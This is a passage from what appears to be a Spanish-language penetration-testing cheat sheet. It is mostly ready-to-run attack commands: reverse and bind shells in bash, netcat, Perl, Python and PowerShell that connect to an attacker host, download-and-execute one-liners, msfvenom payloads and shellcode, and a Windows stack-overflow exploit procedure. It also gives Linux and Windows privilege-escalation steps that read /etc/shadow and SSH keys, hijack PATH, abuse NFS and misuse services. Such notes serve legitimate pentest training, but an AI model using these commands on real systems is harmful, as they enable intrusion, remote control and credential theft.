msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker-IP-address> LPORT=<listen-port> -f war -o reverse-shell.war
```


# Linux/Unix

## Reverse shells

### Bash <a href="#reverse-shells-bash" id="reverse-shells-bash"></a>

```shell
bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'
bash+-c+'bash+-i+>%26+/dev/tcp/<attacker-IP-address>/<listen-port>+0>%261' # URL Encode
bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-IP-address> <listen-port> >/tmp/f
```

```sh
echo -n "nc.traditional -e /bin/bash <attacker-IP-address> <listen-port>" | base64 -w 0
bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDxhdHRhY2tlci1JUC1hZGRyZXNzPiA8bGlzdGVuLXBvcnQ+
`echo "bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDxhdHRhY2tlci1JUC1hZGRyZXNzPiA8bGlzdGVuLXBvcnQ+" | base64 -d`
```

### Netcat

```bash
/bin/nc -nv <attacker-IP-address> <listen-port> -e /bin/bash
/usr/bin/nc -nv <attacker-IP-address> <listen-port> -e /bin/bash
```

```bash
# Máquina atacante
cp /bin/nc .
python3 -m http.server 80
nc -lvnp <listen-port>

# Máquina victima
## wget
wget http://<attacker-IP-address>:80/nc -O /tmp/nc; chmod 755 /tmp/nc; /tmp/nc -nv <attacker-IP-address> <listen-port> -e /bin/bash
## curl
curl http://<attacker-IP-address>:80/nc -o /tmp/nc; chmod 755 /tmp/nc; /tmp/nc -nv <attacker-IP-address> <listen-port> -e /bin/bash
```

### Perl

```bash
perl -e 'use Socket;$i="<attacker-IP-address>";$p=<listen-port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

### Python <a href="#reverse-shells-python" id="reverse-shells-python"></a>

```shell
# /bin/sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-IP-address>",<listen-port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# /bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-IP-address>",<listen-port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash"]);'
```

## Bind shells

### Bash <a href="#bind-shells-bash" id="bind-shells-bash"></a>

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp <listen-port> >/tmp/f
```

### Python <a href="#bind-shells-python" id="bind-shells-python"></a>

```shell
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",<listen-port>));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```

## Spawning TTY shell

### General <a href="#spawning-tty-shell-general" id="spawning-tty-shell-general"></a>

```shell
script /dev/null -c bash
Ctrl+Z
# Para ZSH debe ser ingresado en una sola línea stty raw -echo;fg
stty raw -echo
fg
reset xterm

# Obtener el valor de las siguientes variables desde otra ventana de terminal maximizada
echo $TERM
stty size

# Aplicar los valores obtenidos en la shell obtenida
export TERM=<term>
export SHELL=/bin/bash
stty rows <rows> columns <columns>
```

### Python <a href="#spawning-tty-shell-python" id="spawning-tty-shell-python"></a>

```shell
which python
which python3
/usr/bin/<python-version> -c "import pty; pty.spawn('/bin/bash');"
```

### sh <a href="#spawning-tty-shell-sh" id="spawning-tty-shell-sh"></a>

```shell
script /dev/null -c bash
```

## Escapar shell restringida

```shell
man ls
shift + 1
!bash
```

```shell
vim
:set shell=/bin/sh
:shell
```


# Windows

## Netcat

```shell
# Máquina atacante
rlwrap nc -lvnp <listen-port>

# Máquina victima
.\nc.exe -e cmd.exe <attacker-IP-address> <listen-port>
```

## PowerShell

### Reverse shells <a href="#powershell-reverse-shells" id="powershell-reverse-shells"></a>

```powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<attacker-IP-address>",<listen-port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

Reverse shell de Windows a Linux/Unix.

* <https://github.com/MrW0l05zyn/pentesting/blob/master/windows/shell/powershell/reverse-shell.ps1>

```shell
# Máquina atacante
# reverse shell (shell.ps1)
$client = New-Object System.Net.Sockets.TCPClient('<attacker-IP-address>',<listen-port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# HTTP server
python3 -m http.server 80
# Netcat
nc -lvnp <listen-port>

# Máquina victima
# descarga y ejecución de reverse shell
powershell IEX(New-Object Net.WebClient).downloadString('http://<attacker-IP-address>:80/shell.ps1')
```

Reverse shell de Windows a Windows .

* <https://github.com/MrW0l05zyn/pentesting/blob/master/windows/shell/powershell/Invoke-PowerShellTcp.ps1>

```shell
# Máquina atacante
# HTTP server
Add-Type -AssemblyName "System.Web";$HTTPListener=New-Object Net.HttpListener;$HTTPListener.Prefixes.Add("http://<attacker-IP-address>:80/");$HTTPListener.Start();While ($HTTPListener.IsListening){$HC=$HTTPListener.GetContext();$HRes=$HC.Response;$HRes.Headers.Add("Content-Type",[System.Web.MimeMapping]::GetMimeMapping($HC.Request.RawUrl));$Stream=[System.IO.File]::OpenRead((Join-Path $Pwd ($HC.Request.RawUrl)));$HRes.ContentLength64=$Stream.Length;$Stream.CopyTo($HRes.OutputStream);$Stream.Close();$HRes.Close()};$HTTPListener.Stop()
# Powercat
Import-Module .\powercat.ps1
powercat -l -v -p <listen-port>

# Máquina victima
# descarga y ejecución de reverse shell
powershell IEX(iwr http://<attacker-IP-address>:80/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress <attacker-IP-address> -Port <listen-port>
```

### Bind shells <a href="#powershell-bind-shells" id="powershell-bind-shells"></a>

```powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]<listen-port>; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
```

## Metasploit

```shell
# Máquina atacante
msfvenom -p windows/x64/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> -f exe -o reverse-shell.exe
rlwrap nc -lvnp <listen-port>
python3 -m http.server 80

# Máquina victima
certutil.exe -f -urlcache -split http://<attacker-IP-address>:80/reverse-shell.exe c:\windows\temp\reverse-shell.exe && cmd.exe /c c:\windows\temp\reverse-shell.exe
```

```shell
# Máquina atacante
use exploit/windows/misc/hta_server
set SRVHOST <attacker-IP-address>
set SRVPORT <port>
run

# Máquina victima
mshta http://<attacker-IP-address>:<port>/<id>.hta
```

## Archivo batch (.bat)

```shell
# Máquina atacante
nc -lvnp <listen-port>

# Máquina victima
echo C:\<path>\nc.exe -e cmd.exe <attacker-IP-address> <listen-port> > C:\<path>\<file.bat>
```


# Stack-Based Buffer Overflow Windows x86

## Configuración de ambiente Windows

* Instalar Immunity Debugger: <https://www.immunityinc.com/>
  * Configurar ejecutar como administrador: clic derecho -> Propiedades -> Compatibilidad -> Habilitar opción "Ejecutar este programa como administrador".
* Instalar mona.py: <https://github.com/corelan/mona>
  * `C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands`

### Desactivar la prevención de ejecución de datos (DEP / Data Execution Prevention)

#### Windows XP

* Panel de control -> Sistema -> Avanzado -> Inicio y Recuperación -> Configuración -> Editar
  * Reemplazar `OptIn` por `AlwaysOff`.

#### Windows 7

```shell
bcdedit.exe /set <current> nx AlwaysOff
```

Reiniciar el sistema operativo y posteriormente comprobar en: Mi PC -> clic derecho -> Propiedades -> Avanzando -> Rendimiento -> Configuración -> Data Execution Prevention.

## Procedimiento

### 0) Pre-inicio <a href="#procedimiento-0" id="procedimiento-0"></a>

Identificar dirección IP y puerto donde se ejecuta el binario, y cual campo es vulnerable a buffer overflow.

> Archivo: [parameters.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/parameters.py)

### 1) Fuzzing <a href="#procedimiento-1" id="procedimiento-1"></a>

Realizar fuzzing para encontrar con cuantos bytes se desborda el búfer y se sobrescribe el registro EIP (Extended Instruction Pointer).

> Archivo: [01-fuzzing.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/01-fuzzing.py)

{% hint style="info" %}
Sincronizar (`Ctrl + F1`) y ejecutar (`F9`) el proceso en Immunity Debugger.
{% endhint %}

### 2) Offset <a href="#procedimiento-2" id="procedimiento-2"></a>

Creación de "pattern" para calcular el "offset".

```shell
# number-of-bytes = number-of-bytes + 200
msf-pattern_create -l <number-of-bytes>
```

Identificación de "offset".

```shell
# Metasploit
msf-pattern_offset -q <EIP-value>
# Mona
!mona findmsp
```

> Archivo: [02-findOffset.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/02-findOffset.py)

### 3) Verificar el offset <a href="#procedimiento-3" id="procedimiento-3"></a>

Verificar el "offset" identificado y control del EIP.

```
fuzzing = offset + BBBB + CCCC + padding
offset  = AAAA... 41414141...
EIP     = BBBB    42424242
ESP     = CCCC    43434343
padding = DDDD... 44444444...
```

> Archivo: [03-checkOffset.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/03-checkOffset.py)

### 4) Buscar los badchars <a href="#procedimiento-4" id="procedimiento-4"></a>

```shell
# Configuración de carpeta de trabajo en Mona
!mona config -set workingfolder c:\mona\%p
# Generación de badchars
!mona bytearray
# Comparación de badchars con contenido de la pila
!mona compare -f C:\mona\<binary-name>\bytearray.bin -a ESP
# Generación eliminando badchars encontrado
!mona bytearray -cpb "\x00"
# Comparación de badchars con contenido de la pila
!mona compare -f C:\mona\<binary-name>\bytearray.bin -a ESP
# Generación eliminando badchars encontrados
!mona bytearray -cpb "\x00\x0a"
```

> Archivo: [04-badchars.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/04-badchars.py)

### 5) Encontrar "JMP ESP" <a href="#procedimiento-5" id="procedimiento-5"></a>

Verificación de badchars.

```shell
!mona bytearray -cpb "<badchars>"
!mona compare -f C:\mona\<binary-name>\bytearray.bin -a ESP
```

* \<badchars> = `\x00\x0a\x0d`

Obtención de dirección "JMP ESP" utilizando Mona.

```shell
msf-nasm_shell
jmp esp
FFE4
```

```shell
# FFE4 = \xff\xe4\
!mona modules
# Dynamic-Link Library (DLL)
!mona find -s "\xff\xe4\" -m <name.dll>
# Executable (.exe)
## opción 1
!mona jmp -r esp -cpb <badchars>
## opción 2
!mona jmp -r esp -m <name.exe>
```

Obtención de dirección "JMP ESP" utilizando `findjmp.exe`.

```shell
findjmp.exe
findjmp.exe <name.dll> ESP
```

> Archivo: [05-jmpESP.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/05-jmpESP.py)

### 6) Exploit <a href="#procedimiento-6" id="procedimiento-6"></a>

Generación de shellcode.

```shell
# Windows
## reverse shell
msfvenom -p windows/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> EXITFUNC=thread -a x86 --platform windows -b "<badchars>" --var-name shellcode -e x86/shikata_ga_nai -f python
msfvenom -p windows/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> EXITFUNC=thread -b "<badchars>" --var-name shellcode -f python
## abrir calculadora de Windows
msfvenom -p windows/exec cmd=calc.exe EXITFUNC=thread -b "<badchars>" --var-name shellcode -f python

# Linux/Unix
## reverse shell
msfvenom -p linux/x86/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> EXITFUNC=thread -b "<badchars>" --var-name shellcode -e x86/shikata_ga_nai -f python
```

* \<badchars> = `\x00\x0a\x0d`

Ejecutar exploit de buffer overflow.

```shell
# Netcat
nc -lvnp <listen-port>
# Ejecutar exploit de buffer overflow
python3 exploit.py
```

> Archivo: [06-exploit.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/06-exploit.py)


# Transferencia de archivos

## Servidor

### Python <a href="#servidor-python" id="servidor-python"></a>

```shell
python -m SimpleHTTPServer <port>
python3 -m http.server <port>
```

### PowerShell <a href="#servidor-powershell" id="servidor-powershell"></a>

```shell
Add-Type -AssemblyName "System.Web";$HTTPListener=New-Object Net.HttpListener;$HTTPListener.Prefixes.Add("http://<IP-address>:<port>/");$HTTPListener.Start();While ($HTTPListener.IsListening){$HC=$HTTPListener.GetContext();$HRes=$HC.Response;$HRes.Headers.Add("Content-Type",[System.Web.MimeMapping]::GetMimeMapping($HC.Request.RawUrl));$Stream=[System.IO.File]::OpenRead((Join-Path $Pwd ($HC.Request.RawUrl)));$HRes.ContentLength64=$Stream.Length;$Stream.CopyTo($HRes.OutputStream);$Stream.Close();$HRes.Close()};$HTTPListener.Stop()
```

## Cliente

### PowerShell <a href="#cliente-powershell" id="cliente-powershell"></a>

Descarga de archivos.

```powershell
PowerShell -c "IWR -useBasicParsing http://<IP-address>:<port>/<filename.extension> -o <path\filename.extension>"
```

```powershell
Invoke-WebRequest -Uri "http://<IP-address>:<port>/<filename.extension>" -OutFile "<path\filename.extension>"
```

```powershell
(New-Object Net.WebClient).DownloadFile("http://<IP-address>:<port>/<filename.extension>","<path\filename.extension>")
```

Transferencia y execución de archivo en memoria.

```powershell
IEX (iwr http://<IP-address>:<port>/<filename.ps1> -UseBasicParsing)
```

### Wget <a href="#wget" id="wget"></a>

```shell
wget http://<IP-address>:<port>/<filename.extension> -O <path/filename.extension>
```

* -O = ruta donde será descargado y cual será el nombre del archivo.

```shell
wget http://<IP-address>:<port>/<filename.extension> -P <path>
```

* -P = ruta donde será descargado el archivo.

### cURL <a href="#curl" id="curl"></a>

```shell
curl http://<IP-address>:<port>/<filename.extension> -o <filename.extension>
```

### CertUtil <a href="#certutil" id="certutil"></a>

```shell
certutil.exe -urlcache -f http://<IP-address>:<port>/<filename.extension> <filename.extension>
```

## PowerShell remoting

```powershell
$session = New-PSSession -ComputerName <computer-name>
Copy-Item -ToSession $session -Path C:\<path>\<filename.extension> -Destination C:\<destination-directory>
Enter-PSSession -Session $session
ls C:\<destination-directory>
```

## SMB

### Impacket

```shell
# Servidor (Linux)
# opción 1
mkdir /tmp/smb-temp && cd /tmp/smb-temp
python /impacket/examples/smbserver.py share . -smb2support -username <username> -password <password>
# opción 2
python /impacket/examples/smbserver.py share $(pwd)
impacket-smbserver share $(pwd)

# Cliente (Windows)
net use \\<IP-address>\share /USER:<username> <password>
copy \\<IP-address>\share\<file> %TEMP%\<file>
dir %TEMP%
net use \\<IP-address>\share /del
```

## SCP (secure copy)

Subir archivo local a remoto.

```shell
scp <file> <user>@<IP-address>:<destination-directory>
```

Descargar archivo remoto a local.

```shell
scp <user>@<IP-address>:<file> <destination-directory>
```

## Base64

```shell
# Máquina origen
base64 -w 0 <file> | xclip -sel clip
# Máquina destino
echo "<Ctrl+V>" | base64 -d > <file>
```

## Validación de integridad de archivo

### Linux/Unix <a href="#validacion-de-integridad-de-archivo-linux-unix" id="validacion-de-integridad-de-archivo-linux-unix"></a>

```shell
# MD5
md5sum <file>
# SHA1
sha1sum <file>
```

### Windows <a href="#validacion-de-integridad-de-archivo-windows" id="validacion-de-integridad-de-archivo-windows"></a>

```shell
# MD5
certutil.exe -hashfile <file> MD5
# SHA1
certutil.exe -hashfile <file>

# PowerShell
## MD5
Get-FileHash <file> -Algorithm MD5 | Format-List
## SHA1
Get-FileHash <file> -Algorithm SHA1 | Format-List
## SHA256
Get-FileHash <file> | Format-List
```


# Linux/Unix


# Información general

## General

```bash
# Sistema
uname -a
cat /etc/*release
cat /etc/issue
# Hostname, host y DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
```

## Usuarios y grupos

```bash
whoami
id
cat /etc/passwd
# Usuarios
cat /etc/passwd | cut -d: -f1
# Usuarios con consola
cat /etc/passwd | grep "sh$"
```

## Procesos

```sh
ps aux | grep root
```

### Process snooping

### pspy

<https://github.com/DominicBreuker/pspy>

```sh
./pspy -pf -i 1000 
```

### tmux

```sh
ps aux | grep tmux
/usr/bin/tmux -S <id-session-tmux>
```

## Servicios de red

### Puerta de enlace (gateway)

```sh
route -n
```

### netstat

```sh
netstat -antupo
```

* -a = todos los sockets.
* -n = hosts, puertos y usuarios en formato numérico.
* -t = TCP.
* -u = UDP.
* -p = PID (Process Identification Number) y nombre del programa.
* -o = timer.


# Búsqueda de archivos y directorios

## Rutas

```sh
/var/backups
/var/www
/opt
/mnt
ls -lsaRH /home
ls -lsaRH /root
```

## Búsqueda por nombre de archivo

```sh
find / -name <name> 2>/dev/null
find / -name <name> 2>/dev/null -not -path "/<directory>*"
```

## Búsqueda por grupo de usuario

```sh
find / -group <group> 2>/dev/null
```

## Búsqueda por extensión de archivo <a href="#busqueda-por-extension-de-archivo" id="busqueda-por-extension-de-archivo"></a>

```sh
find / -regex ".*\.\(bak\|zip\)" 2>/dev/null
find / -regex ".*\.\(txt\|doc\|csv\)" 2>/dev/null -exec grep -Iq . {} \; -printf "\n%p: " -exec cat {} \;
```

## Búsqueda de directorios con privilegios de escritura <a href="#busqueda-por-extension-de-archivo" id="busqueda-por-extension-de-archivo"></a>

```sh
find / -writable -type d 2>/dev/null
find / -writable -type d -prune -o -name <exclude-directory> 2>/dev/null
```


# Sudo / SUID (Set User ID)

## Sudo

```shell
sudo -l
```

### CVE-2019–14287

```shell
# sudo <= 1.8.27
sudo -V
sudo -u#-1 /bin/bash
```

## SUID (Set User ID)

```shell
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
```

## Perl

```shell
sudo /usr/bin/perl -e 'exec "/bin/bash"'
/usr/bin/perl -e '$ENV{"PATH"} = "/usr/bin"; exec "/bin/bash -p"'
```

## knife

```shell
sudo /usr/bin/knife exec -E "system('/bin/bash')"
```

## find

```shell
# Sudo
sudo /usr/bin/find . -exec /bin/sh \; -quit
# SUID
find . -exec /bin/sh -p \; -quit
```

## GTFOBins

<https://gtfobins.github.io/>


# Grupos

## Disk

```bash
# Encuentra donde se encuentra montada la raíz "/"
df -h

debugfs /dev/<sdaX>
debugfs: cd /root
debugfs: ls
debugfs: cat /etc/shadow
debugfs: cat /root/.ssh/id_rsa
```


# Capabilities

## General

```sh
getcap -r / 2>/dev/null
```

## Python

```sh
/usr/bin/<python> -c 'import os; os.setuid(0); os.system("/bin/bash")'
```


# Herramientas automatizadas

## LinPEAS

* <https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS>

```bash
# Máquina atacante
python3 -m http.server 80
# Máquina victima
wget http://<attacker-IP-address>:80/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh > linpeas-output.txt
```

```bash
# Máquina atacante
nc -q 5 -lvnp <port> < linpeas.sh
# Máquina victima
cat < /dev/tcp/<attacker-IP-address>/<port> | sh
```

```bash
# Máquina atacante
nc -lvnp 1234 | tee linpeas.out
nc -q 5 -lvnp 80 < linpeas.sh
# Máquina victima
cat < /dev/tcp/<attacker-IP-address>/80 | sh | nc <attacker-IP-address> 1234
```


# PATH Variable

Creación de directorio de trabajo.

```bash
cd ~
mkdir temp
cd temp
```

Creación de binario que suplantará el binario original y asignación de sus privilegios.

```bash
# opción 1: shell
echo "/bin/bash" > <binary>
echo "/bin/bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<port> 0>&1'" > <binary>
# opción 2: lectura de archivo
echo "/bin/bash -c 'cat /<path>/<file> > /home/<user>/temp/<file>'" > <binary>
echo "/bin/bash -c 'cat /etc/shadow > /home/<user>/temp/shadow'" > <binary>
echo "/bin/bash -c 'cat /root/.ssh/id_rsa > /home/<user>/temp/id_rsa'" > <binary>
# asignación de privilegios al binario
chmod 777 <binary>
```

Incorporación de ruta a variable PATH.

```bash
echo $PATH
export PATH=/home/<user>/temp:$PATH
echo $PATH
```

Ejecución de script o binario vulnerable.

```bash
sudo /<path>/<script>
sudo /<path>/<binary>
```


# Python Library Hijacking

* Permisos de escritura en el módulo importado.
* Ruta de importación de bibliotecas con permisos de escritura.

```python
python<X> -c 'import sys; print("\n".join(sys.path))'
```

* Redirigir la búsqueda de bibliotecas de Python a través de la variable de entorno PYTHONPATH.


# 2049/TCP (NFS)

## no\_root\_squash

Revisar el archivo `/etc/exports` y verificar si existe un directorio configurado con `no_root_squash` .

Montar el directorio encontrado en la máquina atacante.

```sh
sudo mkdir /mnt/nfs-temp
sudo mount -t nfs <IP-address>:<share> /mnt/nfs-temp/ -nolock
```

Copiar desde la máquina atacante como usuario `root` el binario `bash` al directorio encontrado.

```sh
sudo cp /bin/bash /mnt/nfs-temp/<share>
```

Asignar privilegios de SUID (Set User ID) al binario `bash` copiado.

```sh
sudo chmod +s bash
```

Ejecutar desde la máquina victima el binario `bash`.

```sh
cd <share>
./bash -p
```


# Windows


# Información general

## Sistema

```bash
systeminfo
hostname
wmic os get osarchitecture
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List
# PowerShell
[System.Environment]::OSVersion.Version
Get-ChildItem Env: | ft Key,Value
```

## Usuarios y grupos

```sh
whoami
whoami /priv
whoami /groups
net users
net user <username>
net localgroup
net localgroup <groupname>
wmic useraccount list /format:list
wmic group list /format:list
```

## Sesiones

```
qwinsta
```

## Servicios

```sh
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
```

## Procesos

```sh
tasklist /v
tasklist /v /fi "username eq <user>"
wmic process list /format:list
# PowerShell
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```

## Tareas programadas

```bash
# PowerShell
Get-ScheduledTask | ft TaskName, TaskPath, State
Get-ScheduledTask | ? State -ne disable | ft TaskName, TaskPath, State
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName, TaskPath, State
```

## Aplicaciones

```bash
# Desde sesión de meterpreter
run post/windows/gather/enum_applications
```

## Información y servicios de red

```sh
ipconfig /all
arp -a
route print
```

### netstat <a href="#netstat" id="netstat"></a>

```sh
netstat -ano -p <protocolo>
```

* -a = todos los sockets.
* -n = hosts y puertos en formato numérico.
* -o = PID (Process Identification Number).
* -p = TCP, UDP, TCPv6 o UDPv6.

## Actualización de seguridad

```sh
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

## Medidas de defensa

```shell
# Windows Defender Firewall
netsh firewall show state
netsh advfirewall show allprofiles
Get-MpComputerStatus

# Windows Defender
sc query windefend
```

## AppLocker

```
secpol.msc
```

* <https://github.com/MrW0l05zyn/pentesting/blob/master/windows/privesc/applocker/applocker-bypass-checker.ps1>


# Búsqueda de archivos

## Búsqueda por extensión de archivo

```bash
cd C:\
dir /b/s *.bat
# PowerShell
Get-ChildItem -Path C:\ -Filter *.bat -Recurse -ErrorAction SilentlyContinue -Force 
```


# Herramientas automatizadas

## Metasploit

```bash
# Desde sesión de meterpreter
run winenum
run post/windows/gather/enum_applications
```

## WinPEAS

* <https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS>


# Metasploit

Verificación de UAC (User Account Control) habilitada.

```bash
use post/windows/gather/win_privs
set SESSION <id-session>
run
```

Escalamiento de privilegios sin UAC (User Account Control) habilitada.

```bash
# Meterpreter
ps
run post/windows/manage/migrate
ps
getsystem
getuid
```

Escalamiento de privilegios con UAC (User Account Control) habilitada.

```bash
search bypassuac
# Seleccionar exploit adecuado de bypass UAC
use exploit/windows/local/bypassuac*
set SESSION <id-session>
exploit
# Desde sesión de meterpreter
run post/windows/manage/migrate
getsystem
getuid
```


# Always install elevated

Revisar si el valor de ambos `AlwaysInstallElevated` es `1`.

```sh
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Generación de instalador "MSI" (Microsoft Installer) con reverse shell.

```sh
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP-address> LPORT=<listen-port> -f msi -o reverse-shell.msi
```

Dejer netcat en modo escucha para recibir la reverse shell.

```bash
nc -lvnp <listen-port>
```

Copiar a la máquina victima el instalador generado `reverse-shell.msi` y ejecutarlo de la siguiente forma:

```bash
msiexec /quiet /qn /i reverse-shell.msi
```


# SeImpersonate / SeAssignPrimaryToken

Revisión de privilegios `SeImpersonate` o `SeAssignPrimaryToken`.

```
whoami /priv
```

Copiar Netcat y Juicy Potato a la máquina víctima.

* <https://github.com/ohpe/juicy-potato>

```bash
# Netcat
powershell Invoke-WebRequest -Uri "http://<attacker-IP-address>:<port>/nc.exe" -OutFile "C:\<path>\nc.exe"
# Juicy Potato
powershell Invoke-WebRequest -Uri "http://<attacker-IP-address>:<port>/JuicyPotato.exe" -OutFile "C:\<path>\JuicyPotato.exe"
```

Creación de archivo batch (.bat) en máquina victima.

```sh
echo START C:\<path>\nc.exe -e powershell.exe <attacker-IP-address> <listen-port> > reverse-shell.bat
```

Ejecución de Netcat en máquina atacante en modo escucha.

```sh
nc -lvnp <listen-port>
```

Ejecución de Juicy Potato en máquina victima.

```bash
# opción 1
JuicyPotato.exe -t * -p C:\<path>\reverse-shell.bat -l <listen-port>

# opción 2
JuicyPotato.exe -l 1337 -c "<4991d34b-80a1-4291-83b6-3328366b9097>" -p C:\Windows\System32\cmd.exe -a "/c C:\<path>\nc.exe -e cmd.exe <attacker-IP-address> <listen-port>" -t *
```


# Servicios


# Permisos de servicio inseguros

## Enumeración

```bash
# Transferencia de WinPEAS
## Máquina atacante
md5sum winpeas.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/winpeas.exe winpeas.exe & certutil.exe -hashfile winpeas.exe MD5

# Transferencia de AccessChk
## Máquina atacante
md5sum accesschk.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/accesschk.exe accesschk.exe & certutil.exe -hashfile accesschk.exe MD5

# Enumeración de servicios con WinPEAS
.\winpeas.exe quiet servicesinfo
# Enumeración de privilegios del servicio con AccessChk (SERVICE_CHANGE_CONFIG)
.\accesschk.exe /accepteula -uwcqv user <service-name>
# Revisión de privilegios de ejecución del servicio (SERVICE_START_NAME)
## SERVICE_START_NAME: LocalSystem
sc qc <service-name>
```

## Escalamiento de privilegios

```bash
# Generación y transferencia de reverse shell
## Máquina atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP-address> LPORT=443 -f exe -o reverse.exe
md5sum reverse.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/reverse.exe reverse.exe & certutil.exe -hashfile reverse.exe MD5

# Modificación de configuración del servicio (BINARY_PATH_NAME)
sc config daclsvc binpath= "\"C:\<path>\reverse.exe\""

# Configuración de listener de reverse shell en máquina atacante
rlwrap nc -lvnp 443

# Inicio del servicio
net start <service-name>
```


# Ruta de servicio sin comillas

## Manual

### Enumeración

```shell
# Transferencia de WinPEAS
## Máquina atacante
md5sum winpeas.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/winpeas.exe winpeas.exe & certutil.exe -hashfile winpeas.exe MD5

# Transferencia de AccessChk
## Máquina atacante
md5sum accesschk.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/accesschk.exe accesschk.exe & certutil.exe -hashfile accesschk.exe MD5

# Enumeración de servicios con WinPEAS
.\winpeas.exe quiet servicesinfo
# Enumeración de privilegios del servicio con AccessChk (SERVICE_CHANGE_CONFIG)
.\accesschk.exe /accepteula -ucqv user <service-name>
# Revisión de privilegios de ejecución del servicio (SERVICE_START_NAME) y ruta del servicio sin comillas (BINARY_PATH_NAME)
## SERVICE_START_NAME: LocalSystem
sc qc <service-name>
```

### Revisión de permisos de escritura en ruta de directorios del servicio

* Privilegios: BUILTIN\Users
* Ruta del servicio: `C:\Program Files\Unquoted Path Service\Common Files\service.exe`

```shell
.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
